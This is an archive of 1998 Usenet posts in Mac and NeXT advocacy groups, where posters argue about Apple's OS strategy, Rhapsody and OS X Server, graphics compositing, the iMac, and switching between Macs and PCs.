> for me however - I'm generally a slow geek adoptor (no pager, cell, PDA,
> etc. - I like my privacy) but actually pretty typical for the general
> community. The only people that I know with pagers are computer geeks,
> cell phones are more pervasive, but then I'm in Irvine, CA - affluent, on
> the go, wired community. Go wander though Iowa and that 24 months will
> quickly look like 60. The average is somewhere inbetween.
>
>
Nah, they'll figure out a way to stick wireless devices into where the tape
player goes in the radio for those folks in Iowa :-)
<cynicism off>
You're right, the event horizon is farther out for the mainstream. The
window of opportunity bigger than I make it out to be.
> >The list is long for the number of wireless manufacturers licensing the
EPOC
> >OS for wireless hardware. I don't own a wireless device that doesn't
need
> >to connect to something. Apple can be that _something! Otherwise they
are
> >just another _disconnected_ irrelevent device in the scrap heap of
> >technology.
>
> Well, support helps make the argument. Apple could be that other thing.
> Clearly they are able to capture the public's attention as witnessed by
> the iMac.
>
I'm skeptical of iMac's legacy for Apple. I want to see both what they do
with iMac AND how they treat those early adopter's of the iMac technology
platform.
> >They are making existing Mac users happy... they've laid they're bets on
> >Mac centric OS moving forward. The near future will position Mac against
> >the competition. We'll see then how appropos the Carbon strategy...
>
> Carbon is mostly needed to make sure that the steer doesn't die on the way
> to market. I think that Apple's increasing security will allow them to
> feel confident in making changes to the OS and the user experience over
> time.
>
> I'm not sure how committed they are to the Mac centric OS or how committed
> they are to the illusion of the Mac centric OS.
>
>
You're far more willing to give Apple the benefit of the doubt here, than am
I. Mac appears to be cast in GUI since 1984. NeXT users pooh, poohed a
neat NeXTSTEP GUI update, myself included. I understand how the GUI gets
stuck. NeXTSTEP lost shelf tabs and a host of improvements, I continue to
regret pooh, poohing.
I don't want Apple to miss the boat to wireless, 'cuz I think its about to
leave port without them. Since their strategy seems "consumer" oriented,
wireless is their market _or_ soon their target market will be wireless.
At some point Apple has so many brush fires to put out like Quark, Adobe,
wireless that people throw their hands up and walk away from the situation.
I've adopted WinXX for all my wireless since I won't be left stranded with a
device without a port :-)
-r
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
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<6sjdd8$am7$1@nnrp1.dejanews.com> <6tf372$2b0$2@ironhorse.plsys.co.uk>
<6tj38l$mmr$1@nnrp1.dejanews.com>
Message-ID: <83gL1.5642$MS.14782014@news.rdc1.sdca.home.com>
Date: Mon, 14 Sep 1998 21:40:20 GMT
NNTP-Posting-Date: Mon, 14 Sep 1998 14:40:20 PDT
Organization: @Home Network
In <6tj38l$mmr$1@nnrp1.dejanews.com> spagiola@my-dejanews.com wrote:
> mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> > My guess would be that we'll see 'X Server sometime before end October.
> > Just because Apple isn't talking about it publicly doesn't mean it's not
> > happening...
>
>
> No doubt.
>
>
DoubtFULL... unless this is a statement of fact, it is mere speculation
> But it might occur to Apple that people would like a teeny bit of
> advance warning so they can plan accordingly.
>
>
Neither Apple nor NeXT were ever "Server" vendors, I doubt they are going to
change now. If there is ever some kind of MacOS X server, it will be a very
nifty Consumer server.
-r
From: seanl@cs.umd.edu (Sean Luke)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Followup-To: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 14 Sep 1998 21:50:40 GMT
Organization: U of Maryland, College Park, MD 20742
Message-ID: <6tk33g$7ic$1@cronkite.cs.umd.edu>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <35FD2A5B.B5B90EE5@nstar.net>
NNTP-Posting-Date: 14 Sep 1998 21:50:40 GMT
Michael Peck (mjpeck@nstar.net) wrote:
: Sean Luke wrote:
: > As Apple doesn't remotely have a monopoly on either operating systems or
: > motherboards, "monopolistic tactics" is somewhat far-fetched.
: Eastman Kodak never had a monopoly on copiers or on copier service. That
: didn't stop the DoJ from trying them for a "tying" case on precisely the
: same legal grounds as the current Microsoft case.
References, please? Searching the DoJ for "Kodak" yields only one press
release: a lawsuit to get Kodak to stop dumping toxic waste this year.
Searching Kodak's press releases for "anticompetitive" only yields its
complaints to the WTO and Japan Fair Trade Commission about Fuji's
anticompetitive practices in Japan.
I *do* recall _something_ about Kodak and monopoly complaints in the past
about copiers, but if I recall Kodak holds near-total control on some
specific integral part to copier systems. My mind's fuzzy. Clue us in,
perhaps with a reference.
Sean Luke
seanl@cs.umd.edu
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Inappropriate Thread (was "pissed at SGI" + variants)
Message-ID: <forrestDELETE-THIS!-1409981827540001@term3-22.vta.west.net>
References: <35E5EA2E.FABFE12D@HiWAAY.net> <6s6kbm$1m8$1@news00.btx.dtag.de> <slrn6ug89l.54.alastair@calliope.demon.co.uk> <6sbdqq$ath$1@news02.btx.dtag.de> <6sbrr2$9hv@rac2.wam.umd.edu> <smooth-ya02408000R0109982037390001@news.aloha.net> <6siphn$b3m$1@camel19.mindspring.com> <smooth-ya02408000R0209981530360001@news.aloha.net> <6sktuo$lrj$1@camel18.mindspring.com> <smooth-ya02408000R0609980158330001@news> <smooth-ya02408000R1009982359440001@news.aloha.net> <35faff8d.1107347@nntp.ix.netcom.com> <6th2ho$sm0@chronicle.concentric.net> <mns-1409981641520001@pm200-26.bc.net-link.net>
Organization: Obsidian Design / Static Dreams Interactive
Date: Mon, 14 Sep 1998 18:27:11 -0700
NNTP-Posting-Date: Mon, 14 Sep 1998 18:27:33 PDT
> > BTW: Has anyone noticed that lately the MacOS is slowly
> > looking more like Windows??? At least the look of the
> > menus, buttons, icons, etc. are...
Actually, the reverse is true. The look & feel of the current Mac OS was
demoed back in *92* in Copland (when Win95 was still called Win4.0), and
not surprisingly Win95 looked a bit similar at it's release. But Copland
died, and it took until last July to get Appearance Manager onto the old
Mac OS kernel (and it just now got done being completely ported in Mac OS
8.5; 8.0/8.1 has a not-quite-complete version, but enough to allow the
Platinum theme), making many people think Mac OS 8 (Tempo, not Copland)
copied Windows 95.
> 3) The Mac OS is actually looking a great bit more like
> NEXT/OPENSTEP, based on seeing and using Rhapsody
> DR2.
And this is true too...
--
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Inappropriate Thread (was "pissed at SGI" + variants)
Message-ID: <forrestDELETE-THIS!-1409981829050001@term3-22.vta.west.net>
References: <35E5EA2E.FABFE12D@HiWAAY.net> <6s6kbm$1m8$1@news00.btx.dtag.de> <slrn6ug89l.54.alastair@calliope.demon.co.uk> <6sbdqq$ath$1@news02.btx.dtag.de> <6sbrr2$9hv@rac2.wam.umd.edu> <smooth-ya02408000R0109982037390001@news.aloha.net> <6siphn$b3m$1@camel19.mindspring.com> <smooth-ya02408000R0209981530360001@news.aloha.net> <6sktuo$lrj$1@camel18.mindspring.com> <smooth-ya02408000R0609980158330001@news> <smooth-ya02408000R1009982359440001@news.aloha.net> <35faff8d.1107347@nntp.ix.netcom.com> <6th2ho$sm0@chronicle.concentric.net> <mns-1409981641520001@pm200-26.bc.net-link.net> <35FD897D.8A541ED6@xiotech.com>
Organization: Obsidian Design / Static Dreams Interactive
Date: Mon, 14 Sep 1998 18:29:04 -0700
NNTP-Posting-Date: Mon, 14 Sep 1998 18:28:43 PDT
In article <35FD897D.8A541ED6@xiotech.com>, chrish@xiotech.com wrote:
> Put your flame thrower away please...
Only quote the immediately relevant text, please...
[huge snip - read the message yourself]
--
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: 14 Sep 98 15:27:46 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B22318F2-D82A@206.165.43.168>
References: <EzA604.KM7@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
Maury Markowitz <maury@remove_this.istar.ca> said:
>In <B21DD682-B005@206.165.43.189> "Lawson English" wrote:
>> It sounds to me like you'd have to split the NSCompositing system into
>> three stages to achieve the same result.
>
> It's two stage already, and I'm not convinced of the usefulness of the
>third stage, aside from global issues like gamma or color correction.
>
???
You've read the little diagram that I posted.
How is it possible to achieve what GX/QT Vectors does using a 2-stage
pipeline?
You need access to the source pixel AND the destination pixel AND the
ability to pre-process the resulting combination before writing it back to
memory. That's three stages but only one pass through the source and
destination images/vectors.
>> vectors, but for bitmaps, doing multiple passes and compositing off-
>screen
>> would be time-consuming and potentially take up lots of memory
>
> No, it's not. Direct counter evidence.
Like, duh, Maury.
Grab the source pixel and place it in a register. Grab the destination
pixel and place it in a register. Process each to your heart's content
before combining the two. Write the result to memory (offscreen/offscreen).
That's one read of the source plus one read of the destination plus one
write.
With AltiVec, this would be so fast that ANY of the standard GX
color-processing would take virtually no more time than a simple copy from
offscreen to VRAM.
With PowerPC-level processors, the slowest aspect of this kind of image
processing is the hit to memory. Doing it in one pass means that you
perform two reads and one write per pixel (or group of pixels with
AltiVec). Doing it in
multiple passes is a useless waste of time and memory and completely
unnecessary. The fastest way is also the simplest way in this case.
However, from what you have described, the simplest way is NOT doable
currently and would require storing intermediate results in memory, which
would require multiple read/writes of each stage.
>
>> can work with any-sized bitmap source image, even those defined as being
>> disk-cached, without taking up any more memory, as far as I can tell).
>
> Sooo for some reason you suggest that doing two passes is slower than
>three? Or are you saying that because of the particular method of the
>compositeToPoint call uses it will be slower? Clearly both are not an
>issue.
Er, um...
There's only one pass, Maury. Grab source color and destination color and
process. Now write the result back to the destination as a composite of the
source and destination. Repeat on a per-pixel basis for a bitmap.
Anything other than the one-pass procedure is not only not needed, but is
slower (leaving aside dithering/half-toning/tiling issues) due to
extraneous memory access. GX and QT Vectors support a LOT more compositing
options than simple alpha channel, blend and copy and support it on a
per-color-channel basis. And they only need a single pass per pixel/color.
Your solution appears to be slower and less capable AND uses more memory.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: 14 Sep 98 19:10:50 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2231AC4-14597@206.165.43.168>
References: <EzAsoB.AsI@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
Maury Markowitz <maury@remove_this.istar.ca> said:
> Regardless, we use both in GlyphiX. It works fine. However if your
>argument has something to do with pre-processing on the way to the
>printer,
>as it has been for the prior messages, this point appears to be moot - it
>won't be looking at the clipboard (at least not in THAT way).
>
> I don't pretend that XML is a great format, but it is usable and covers
all
>the points you've noted to date. It's also semi-standard and text based,
>both issues I consider to be great advantages.
I would think it would be better to use the same format for both clipboard
and pre-press, although, obviously, pre-press needs to be able to deal with
many pages of a document, while the standard clipboard only deals with a
single image (which might include the entire page -or possibly several
pages, if flowed text is allowed).
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Content-Type: text/plain; charset=us-ascii
Message-ID: <EzAsoB.AsI@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
Organization: none
References: <EzA66I.Kq6@T-FCN.Net> <B222BE8B-FB15@206.165.43.90>
Mime-Version: 1.0
Date: Mon, 14 Sep 1998 23:45:46 GMT
In <B222BE8B-FB15@206.165.43.90> "Lawson English" wrote:
> Would that work in the context that I was talking about (clipboard format)?
Yup, sure.
> The idea is to save time during cut and paste between apps, I think, by
> eliminating/reducing the text-parsing requiremenhts. Decompressing might
> save time due to reduced cost of loading from disk (on a higher speed CPU
> like a PPC/586), but I don't think that it would save time to decompress
> and THEN parse when dealing with a RAM transfer of information.
Depends on the transfer mechanism.
> Of course, the time difference might not even be noticable to the end-user,
> so the binary version might not even be needed.
Regardless, we use both in GlyphiX. It works fine. However if your
argument has something to do with pre-processing on the way to the printer,
as it has been for the prior messages, this point appears to be moot - it
won't be looking at the clipboard (at least not in THAT way).
I don't pretend that XML is a great format, but it is usable and covers all
the points you've noted to date. It's also semi-standard and text based,
both issues I consider to be great advantages.
Maury
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: 15 Sep 1998 02:21:48 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6tkivs$f32@news1.panix.com>
References: <6stfdn$ejl$1@fir.prod.itd.earthlink.net> <6t004d$nsn$1@oak.prod.itd.earthlink.net> <6x1J1.4288$MS.10758780@news.rdc1.sdca.home.com> <rmcassid-0809981048120001@hephaestus.eng.uci.edu> <sfiJ1.4346$MS.11233396@news.rdc1.sdca.home.com> <rmcassid-0909981511080001@hephaestus.eng.uci.edu> <w5KJ1.4461$MS.12081075@news.rdc1.sdca.home.com> <rmcassid-1009981404080001@hephaestus.eng.uci.edu> <7xgK1.4571$MS.13084797@news.rdc1.sdca.home.com> <rmcassid-1409981101110001@hephaestus.eng.uci.edu> <35fda281.0@news.depaul.edu>
On 14 Sep 98 23:10:57 GMT, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
>I would have had my father buy one, but transferring files from
>an SE/30 to an iMac would have been a hassle without a floppy.
If he has a modem on his SE/30 you can xfer files that way. Just
set up PPP on both machines and have one "blind dial" the other.
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Message-ID: <1998091502300000.WAA20080@ladder01.news.aol.com>
Date: 15 Sep 1998 02:30:00 GMT
Organization: AOL http://www.aol.com
References: <6tkdm7$dgb@news1.panix.com>
Sal's discussion of replacing a Mac with a Dell snipped
Yes, but replacing one IBM compatible with another does not entail new software
licensing, to include new versions of all of one's typefaces as replacing a Mac
with an IBM compatible does (naturally the reverse holds true as well)--it is
this which is the axe which Apple holds over its customers' heads to keep them
in line and which is one of the things which makes it difficult to switch to a
Mac from a PC.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: atlauren@uci.edu (Andrew Laurence)
Newsgroups: comp.sys.next.advocacy
Subject: Re: A prediction
Date: Mon, 14 Sep 1998 17:10:49 -0700
Organization: UC Irvine
Message-ID: <atlauren-1409981710490001@jungleland.acs.uci.edu>
References: <35FC1A30.EE020BD5@nstar.net> <rmcassid-1409981129210001@hephaestus.eng.uci.edu> <EzAHE7.4r9@T-FCN.Net> <35FD7531.85E4847F@ericsson.com> <6tk041$rc8@newsb.netnews.att.com>
_3;X4o1Yg^$]=Oc\u
In article <6tk041$rc8@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
>I'm predicting an NT 5.0 meltdown because I think stabilizing
>30+ million lines of code is difficult, even with the resources
>of a Microsoft.
At a recent poker game, I learned that industry average is 15 bugs per
thousand lines of code. Microsoft average is 17. (Or thereabouts. As a
sage of wisdom once opined, "it's amazing how a few beers can retain the
spirit of information, yet completely hose the detail.")
-Andrew
--
Andrew Laurence atlauren@uci.edu
Office of Academic Computing http://www.oac.uci.edu/~atlauren/
UC Irvine
"Perceive the need."
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: Mon, 14 Sep 1998 21:02:56 -0800
Organization: UC Irvine
Message-ID: <rmcassid-1409982102570001@dialin9181.slip.uci.edu>
References: <6stfdn$ejl$1@fir.prod.itd.earthlink.net> <WNJI1.4169$MS.10218506@news.rdc1.sdca.home.com> <6t004d$nsn$1@oak.prod.itd.earthlink.net> <6x1J1.4288$MS.10758780@news.rdc1.sdca.home.com> <rmcassid-0809981048120001@hephaestus.eng.uci.edu> <sfiJ1.4346$MS.11233396@news.rdc1.sdca.home.com> <rmcassid-0909981511080001@hephaestus.eng.uci.edu> <w5KJ1.4461$MS.12081075@news.rdc1.sdca.home.com> <rmcassid-1009981404080001@hephaestus.eng.uci.edu> <7xgK1.4571$MS.13084797@news.rdc1.sdca.home.com> <rmcassid-1409981101110001@hephaestus.eng.uci.edu> <0DfL1.5639$MS.14764307@news.rdc1.sdca.home.com>
In article <0DfL1.5639$MS.14764307@news.rdc1.sdca.home.com>,
rr6013@yahoo.com (Rex Riley) wrote:
> In <rmcassid-1409981101110001@hephaestus.eng.uci.edu> Robert Cassidy wrote:
> > Oh, by the way. I asked around and it turns out I do know a few iMac
> > owners. Mostly new computer users or people replacing 5-10 year old Macs
> > and PCs.
>
> I took my daughter up to Circuit City, now CompUSA, expecting to size her up
> to the iMac. None on display,yet. I'll keep looking for iMac's in San
> Diego. I'll go to their main CompUSA store. But I haven't found any iMac's
> among the populace.
Try a university. You can't buy, but you can at least play with it. I know
one was sent to the Union-Tribune for evaluation and might still be there.
Know anyone there? :-)
-Bob Cassidy
From: "Dark Science" <slathan@GUNKdarkscience.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Inappropriate Thread (was "pissed at SGI" + variants)
Date: 14 Sep 1998 21:00:33 PDT
Organization: Concentric Internet Services
Message-ID: <6tkop1$67j@chronicle.concentric.net>
References: <35E5EA2E.FABFE12D@HiWAAY.net> <6s6kbm$1m8$1@news00.btx.dtag.de> <slrn6ug89l.54.alastair@calliope.demon.co.uk> <6sbdqq$ath$1@news02.btx.dtag.de> <6sbrr2$9hv@rac2.wam.umd.edu> <smooth-ya02408000R0109982037390001@news.aloha.net> <6siphn$b3m$1@camel19.mindspring.com> <smooth-ya02408000R0209981530360001@news.aloha.net> <6sktuo$lrj$1@camel18.mindspring.com> <smooth-ya02408000R0609980158330001@news> <smooth-ya02408000R1009982359440001@news.aloha.net> <35faff8d.1107347@nntp.ix.netcom.com> <6th2ho$sm0@chronicle.concentric.net> <mns-1409981641520001@pm200-26.bc.net-link.net>
Matthew N. Sharp wrote in message ...
>First, I must say that this particular thread no longer belongs under the
>comp.sys.sgi.hardware and comp.sys.sgi.marketplace newsgroups, so
>I am redirecting it as such.
I agree.
>So the people who code applications for the Mac OS (note: space)
>are, in your words, "computer illiterate", and "unwilling to learn how
No. That's not what I said. What I was saying is that the general design
of the Mac OS interface is for people who are essentially computer
illiterate or a better way to put it would be that they are not as
technically oriented to an OS such as Unix. In other words, a novice can
pull the system out of its box, plug it in and be running within a few hours
(or even minutes) with no prior experience.
Those who write software for the platform are of course not computer
illiterate.
>to use a computer"? I'd be the last person to choose the Mac OS
>over Un*x, but am certainly not opposed to using a Mac when the
>need is present. This message is being posted from a Mac, running
>Mac OS. Am I "computer illiterate" because of that, or are you being
>exceedingly arrogant, shortsighted, and in the process making incorrect
>overgeneralizations? I'd be more inclined to believe the latter.
If I didn't know better, I would believe that you're taking my post to be a
direct attack at you and anyone else who uses a Mac. I use Macs every
single day.. All I was saying (as I stated above) is that the OS is
designed to accomodate the computer illiterate/novice. That in no way says
that people who use them are computer illiterate. Cars with automatic
transmissions are designed so that people won't have to shift gears
manually. You could say that they're designed for the stick-shift
illiterate, but just because you may choose to buy one, doesn't mean you
can't operate a stick-shift. Perhaps (as in the case of owning a Mac) you
purchased the automatic-transmission model for easier use or because you
have a specific need - ie: wife doesn't like manual transmissions.
>What is your point here? Perhaps (and I'm guessing because
>you aren't being clear) it is that Digital's decision to pursue a
>Microsoft-captive audience is indicative of the superiority of
>NT? Apparently Microsoft doesn't have the same dedication
>to Digital's architectural platform, as they have wavered quite
>a bit in the pledging of support to the Alpha.
I'm sorry if I wasn't clear. My point was just stating that on the hardware
level, outside of the CPU, there really isn't much difference between a Mac
or PC or an Alpha-based system. The only reason I even mentioned NT in that
paragraph is that I was saying most current Alpha systems, or at least all
desktop systems I'm aware of, are designed to run NT, which is why these
systems' designs are nearly identical to that of an x86 PC.
>Choosing the x86 platform is not by default "a great choice." It
I said that for running Linux it was. If someone is choosing to run Linux,
how is the x86 not a great choice? I didn't say it was the only choice...
x86 Linux is by far more complete and usable than SGI Linux. Of course, I
would also say that running Linux on an Alpha is a great choice too. IMO,
it's a better choice, but as you point out that's merely my opinion and for
others the Alpha may not be a great choice... It may not even be a choice.
>completely depends on the intended use of the machine and the
>desired functionality. Precisely what PPC Unixen have you run
>to compare to x86 which brought you to the conclusion that
>"Unix on the Mac" is "a joke"? Statistics would be nice; relational
>data will be disregarded as conjecture.
I don't have any actual statistics at hand. But my "Unix on the Mac is a
joke" comment stems from my own experiences with the actual usability of
Apple A/UX. I have also worked with Rhapsody, although very little. The
Rhapsody version I have worked with is still a bit buggy, but it's beta...
I will have to say that it's looking to be a very promising OS for the Mac,
but Apples announcements regarding its support are not very promising.
>Three points:
> 1) The Mac platform is more advantageous than the "PC"
> platform for some uses, and as well the reverse is true.
Yes. And I never said anything to the contrary... In fact, I didn't even
make such a point at all. My whole post was simply stating that the
hardware between these systems was very similar.
> 2) I think you have a fundamental misunderstanding of
> Apple's strategy with the _renaming_ of Rhapsody.
> It's still very much a BSD-based operating system.
Perhaps I don't understand their strategy. But I don't think many other
people do either... Not many developers are eager to support OS X /
Rhapsody - why is that? Perhaps if Apple would make up their mind and quit
changing the direction of the OS and keep everyone a bit more informed about
what their strategy really is, then maybe their 3rd party support would get
a bit of a boost.
> 3) The Mac OS is actually looking a great bit more like
> NEXT/OPENSTEP, based on seeing and using Rhapsody
> DR2.
Yes, but then there's OS X, which is not quite all there in comparison. And
that's the one that Apple is going to push more than OS X Server/Rhapsody.
Of course, it's just my opinion, but I think Apple is making the same
mistake that Microsoft made with Windows 95 and NT.
--
-Jeff Kilgroe
-Dark Science: Custom GFX/Animation * www.darkscience.com *
-SGI Hacking & Info site * www.darkscience.com/sgihack *
-Remove the GUNK from the above e-mail address to reply.
From: editor@mactech.com (nick.c at MacTech)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Mon, 14 Sep 1998 21:19:04 -0700
Organization: MacTech Magazine
Message-ID: <editor-1409982119050001@nick2.xplain.com>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3mup$124$1@nnrp02.primenet.com> <6t3qeq$1nr$1@nnrp02.primenet.com> <heaney-0809981619320001@24.0.246.137> <EyzJr5.J8n@T-FCN.Net> <heaney-0809982325440001@24.0.246.137> <Ez0xsy.GJ9@T-FCN.Net> <heaney-0909981654340001@24.0.246.137> <Ez1DsB.3tD@T-FCN.Net> <heaney-0909982147080001@24.0.246.137>
maury@remove_this.istar.ca (Maury Markowitz) wrote:
>> MacTech now maintains the Think Reference application. They use it on the
>> CDs to reference all their articles and other reference material.
>
> Ahhh, I really need to keep up more on the MacOS side of things. Well good
>for them, I would have hated to see this product die. Everyone at SA used
>it, but the universal comment was "it's great, but it's outdated". Is
>MacTech sending out updated refs?
The THINK Reference technology is separate from the Inside
Macintosh databases that Symantec originally packaged with
the THINK Reference Viewer.
MacTech has continued to develop the THINK Reference Viewer
and Compiler. The latest Viewer (2.6) is an order of
magnitude (at least) faster at searching, it let's you
do boolean searches (e.g. "(Quickdraw NOT GX) AND color"),
an supports embedded URL's. The support for embedded URL's
is especially important because we've just released the
latest version of the THINK Reference Compiler (actually
it's the only version of the THINK Reference Compiler
that's ever been released). It's still rough, but it
allows you to create your own THINK Reference databases
from HTML documents. The latest Viewer and Compiler are
available on the MacTech CD ROM. As John mentioned,
we have all the issues of MacTech Magazine (1984 to 1998)
in THINK Reference form on the CD, we also have the full
run of Apple's develop, FrameWorks, and the original
Inside Macintosh all in compact, easy to search TR format
(plus source code for all the magazine articles on the CD).
What you were really asking though is do we have the *new*
Inside Macintosh in TR format. Sorry, not yet. We very
much want to do exactly that, but Apple has the copyright
on that documentation, and we haven't been able to get
them to license us the content yet (yes, we're still
trying :-). If folks want to see the New Inside Macintosh
content in TR format, let Apple know <mailto:dts@apple.com>.
In the mean time though, the original IM still represents
that vast majority of Toolbox calls most of us look up
on a regular basis.
More info on the THINK Reference technology and the MacTech
CD-ROM is available at:
<http://www.xplain.com/thinkreference/> and
<http://www.mactech.com/cdrom/>
____Nicholas C. DeMello, Ph.D.________________________________________
Editor of MacTech Magazine, for Macintosh Developers and Programmers
http://www.MacTech.com/
_/ _/ _/ _/_/_/ _/ _/
_/_/ _/ _/ _/ _/ _/_/_/
mailto:editor@MacTech.com _/ _/_/ _/ _/ _/ _/
http://www.nick.demello.com/ _/ _/ _/ _/_/_/ _/ _/
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Tue, 15 Sep 1998 00:09:50 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35FDF69E.23AE0964@nstar.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 15 Sep 1998 05:11:27 GMT
Sal Denaro wrote:
> >Think it through carefully and slowly. Can Dell replace your Macintosh?
>
> Yes. If they couldn't, then Apple's market share could not drop.
I was being specific to Joe Ragosta. Sure, many Mac users would be
amenable to using a Dell machine, but people like Joe would not. The
market Joe and his ilk represent is a very real, very closed market.
> What can be done on a Mac that can not be "reasonably replaced" by a Dell?
> Both can run Photoshop, Office and Netscape. Both can run Linux and BSD
> OSs. Both are available in beige boxes with IDE drives and PCI slots.
What can't be replaced are the intangibles that make the Mac so uniquely
endeared to Joe and his like. I recommended an iMac upgrade to a friend
tonight because I knew that a Dell wouldn't replace a Mac for his unique
situation.
> Apple has to differentiate its product from Compaq and Dell, just as Gateway,
> IBM and HP have to.
Absolutely, because most people are not like Joe.
MJP
From: "Dan" <dan@knowspaam.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <6tj90l$dqf$1@cronkite.cs.umd.edu>
Subject: Re: What we need from Mac OSuX
Message-ID: <APnL1.345$ey.323924@newsfeed.slurp.net>
Date: Mon, 14 Sep 1998 23:25:56 +0100
NNTP-Posting-Date: Tue, 15 Sep 1998 01:29:52 CDT
Organization: Slurp News Feeds
Sean Luke wrote in message <6tj90l$dqf$1@cronkite.cs.umd.edu>...
>"Kia has a monopoly on the Kia market." no, wait...
>"Utz Potato Chips has a monopoly on the Utz Potato Chip market." um...
>"Steinway has a monopoly on the Steinway market." No, no, hang on...
>"ABC has a monopoly on ABC marketshare."
I did not say, "Apple has a monopoly of the Apple market." I was speaking of
a specific "platform"... not a "company"
Apple has over 90% of the "Macintosh Platform" market.
MS has over 80% of the "PC Platform" market.
Dan
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 15 Sep 1998 07:04:12 GMT
Organization: I don't think so
Message-ID: <slrn6vs4qq.dth.jason@jhste1.dyn.ml.org>
